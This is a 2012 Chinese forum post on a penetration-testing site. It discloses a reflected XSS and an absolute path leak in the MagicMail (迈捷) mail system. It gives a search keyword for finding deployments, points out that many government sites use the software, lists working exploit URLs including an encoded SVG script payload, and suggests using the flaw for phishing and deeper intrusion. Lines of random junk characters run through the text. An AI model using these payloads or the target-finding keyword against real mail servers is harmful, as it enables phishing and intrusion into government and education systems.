中国网络渗透测试联盟
标题:
MagicMail迈捷邮件系统XSS及绝对路径漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 20:38
标题:
MagicMail迈捷邮件系统XSS及绝对路径漏洞
今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
) Q+ W5 C9 r& ~! {0 |; {2 O' a
7 V# X! ]7 o; }/ P% F
' p+ v; \2 X+ {7 [+ E
包含 一个反射性XSS 以及 绝对路径泄漏
+ W" k% X3 j$ A- i# v
看了看 貌似全部是linux的。
5 h( ^5 E* i( l! `/ T
6 W. b7 @2 l$ y* L9 y7 U
关键字：迈捷邮件系统 by MagicMail
' H1 X* W5 p/ v" I7 U2 q
# C9 J' D& o, I! `$ A/ N
可以看到很多政府网站都用这个邮件系统
) F6 o x+ N% l: T J: e& `
/ j! f; i& y. C% M/ ]* l4 r% N
绝对路径
http://madman.in/index.php?login_type=declare&language=
1 N% E1 y% N& [+ _' h
, g' J" E9 [1 t7 b
, E( i* c' z9 C T; @) I! B, R
+ M7 N* T- k7 w
XSS：
http://madman.in/index.php?login_type=declare&language=
–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E
9 A8 Y4 X, J) B6 l7 n: W; k+ d( \7 e
( ] S5 C+ Q/ T' _8 C2 A
# q" r' o% h1 x4 z2 B. r
8 d" H2 I9 |3 o1 F! v6 l
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等
6 c1 b% N2 J% G0 b9 {
( T/ M& o- b* p3 m
修复方案：看官方补丁吧。
: S# O0 F2 H9 K+ I; ^9 U6 B3 ?2 U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2